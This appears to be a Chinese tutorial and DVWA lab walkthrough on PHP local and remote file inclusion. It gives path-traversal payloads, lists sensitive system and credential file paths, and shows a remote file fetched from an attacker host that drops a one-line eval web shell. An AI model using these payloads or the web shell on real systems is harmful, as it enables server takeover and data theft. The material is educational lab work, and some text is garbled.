开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。
为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。
文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致 ?任意文件读取与任意命令执行。
???????
文件包含分为两种:
本地文件包含:包含本地主机上的文件(WEB服务器),文件名称是相对路径或者绝对路径
远程文件包含:包含互联网上的文件,文件名称为URL格式
而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include.
如果开启就有可能包含远程文件。
与文件包含相关的配置文件:(php.ini文件)
allow_url_fopen = on ? ?(默认开启) ? #允许打开URL文件
allow_url_include = on ?(默认关闭) ? #允许引用URL文件
allow_url_fopen=On // 本地文件包含(LFI),但这个无论On或Off,本地文件包含都存在
allow_url_include=On // 远程文件包含(RFI)
include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
requier():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
include_once()和require_once()这两个函数只包含一次,适用于在脚本执行期想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
当使用这四个函数包含一个新的文件时,该文件将作为PHP代码执行, ?PHP内核并不会在意该包含的文件是什么类型。(无论是txt、图片文件,远程URL,全都作为PHP代码执行)
?page=a.php
?home=b.html
?file=content
检测方法
?file=../../../../etc/passwd
?
?page=file:///etc/passwd
?
?
?
http://1.1.1.1/../../../../dir/file.txt
但是这个page? home? file 都是由后端代码决定的,实际环境下并不一定是这三个
所以一定要先观察url,是否有这三个
?page=a.php
?home=b.html
?file=content
本地文件包含利用:
1,读取Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysq|\my.ini //Mysq|配置信息
C:\program Files\mysq|\data\mysq|\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
2,读取linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysq|配置文件
本地文件包含——常用文件路径:
apache+Linux 日志默认路径?
/etc/httpd/logs/access.log、/var/log/httpd/access.log
apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Lognames
IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\Lognames
nginx 日志文件
/usr/local/nginx/logs?? ?
apache+linux 默认配置文件?
/etc/httpd/conf/httpd.conf ?? ??? ??? ??? ??? ??? ???
?/etc/init.d/httpd
IIS6.0+win2003 配置文件 ?? ??? ??? ??? ??? ??? ???
C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件? ? ? ? ? ? ? ? ? ? ? ? ? ? C:\Windows\System32\inetsrv\config\applicationHost.config
?./:当前路径 ?? ??? ??? ??? ??? ??? ???
?../:上级目录 nginx 日志文件?? ??? ??? ??? ??? ???
?/:根目录? ? ? ? ? ? ? ? ?
? ~/:linux用户主目录
第一关
代码:(这个是后端服务器的其实你看不到)
<?php
$file = $_GET['page'];
??>?
用 GET 方法接收文件路径,什么防护都没有然后将其包含进来。服务器包含文件时,无论文件是否是 PHP 文件,都会尝试当做 PHP 文件来执行。如果文件内容确实是 PHP 文件,则会正常执行并返回结果,如果不是则会将文件内容回显到网页中,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
这里看到一进去默认页面有一个包含的参数page,这里默认包含了一个include.php文件
通过点击访问靶场给的file1.php、file2.php、file3.php?
发现一个规律
注意在本地文件包含中:1、所包含文件内容符合PHP语法规范:任何扩展名都可以被PHP解析。
????????????????????????????????????????2、包含非PHP语法规范源文件,会暴露其源代码。
?page 参数指的是文件路径,因此我们先传个不存在的文件名测试一下,看看有没有报错信息。传递 page 参数为 “1.php”,靶场报错并返回了文件所在的路径。
Warning: include(1.php): failed to open stream: No such file or directory in D:\DVWA-master\vulnerabilities\fi\index.php on line 36
Warning: include(): Failed opening '1.php' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\DVWA-master\vulnerabilities\fi\index.php on line 36
D:\DVWA-master\vulnerabilities\fi\? ??这个就是文件所在路径
所以现在有两种方式构造路径
1.构造url(绝对路径):成功读取服务器的php.ini文件
?page=D:\DVWA-master\vulnerabilities\fi\php.ini
显示这种就是读取成功了
2.构造url(相对路径):加这么多…\是为了保证到达服务器的D盘根目录,可以看到读取是成功的。
?page=..\..\..\..\..\..\DVWA-master\vulnerabilities\fi\php.ini
显示这种就是读取成功了
读取phpinfo.php查看php版本?
?page=..\..\..\..\..\..\DVWA-master\vulnerabilities\fi\phpinfo.php
如果 php.ini 的配置选项 allow_url_include 和 allow_url_fopen 都为 ON 的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行 任意命令。
黑客上传文件到远程服务器? ? ? ?然后远程服务器中的文件? 被? ?靶机服务器调用执行
这些是简单演示(在远程服务器(靶场中就是自己电脑ip)172.26.26.115上传一个1.txt文件,内容如下
构造url??http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt
1.txt 是文本文件并且他是另一个网站上面的文档,但是当目标服务器的这两个配置选项都开启的时候,他就会把其中的文件当作 php 文件来运行。)
现在是详细演示:
这个file.php的代码(有include函数)
<?php
$file=$_GET['filename'];
include $file;
?>
首先在网站上上传一个探针1.txt(<?php phpinfo(); ?>)
简单来说就是在自己浏览器访问172.26.26.115/1.txt
然后构造url访问?http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt
发现执行? 说明有远程文件包含漏洞
然后将1.txt内容改为
<?php $file = fopen("a.php","w");fputs($file,'<?php @eval($_REQUEST[123]);?>')?>
然后在自己浏览器访问172.26.26.115/1.txt
然后构造url访问?http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt
发现执行
于是连接蚁剑,因为DVWA有个身份验证信息需要将请求头信息配置好后才能通过蚁剑工具进行post请求连接,否则返回数据为空!
如果是像这种的
其实在fi目录下是有index.php这样的配置文件的,然后?index.php里会有include这样的函数,所以才能调用
?
?
?